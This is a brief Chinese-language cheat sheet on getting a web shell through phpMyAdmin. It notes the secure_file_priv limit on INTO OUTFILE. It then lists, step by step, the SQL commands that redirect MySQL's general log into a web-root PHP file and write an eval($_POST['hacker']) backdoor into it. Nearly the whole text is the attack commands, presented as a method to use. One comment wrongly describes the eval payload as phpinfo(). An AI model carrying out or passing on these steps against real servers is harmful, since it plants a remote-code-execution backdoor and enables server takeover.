phpmyadmin getshell
1、into_outfile写shell
条件:需要secure_file_priv为允许
#1238 - Variable ‘secure_file_priv’ is a read only variable
show variables like '%secure%'
2.日志
日志备份获取shell
show global variables like "%genera%"; //查询general_log配置
set global general_log='on'; 开启general log模式
SET global general_log_file='C:\\phpStudy\\WWW\\shell.php'; //设置日志文件保存路径(绝对路径可以从探针之类看到),如果是windows写\,要写成\\,转义
直接写'C:/phpStudy/WWW/shell.php'
windows路径应该大小写不敏感
SELECT "<?php eval($_POST['hacker']);?>"; //phpinfo()写入日志文件
set global general_log='off'; //关闭general_log模式,不知道为什么,关闭后日志文件才会出现,一定要关闭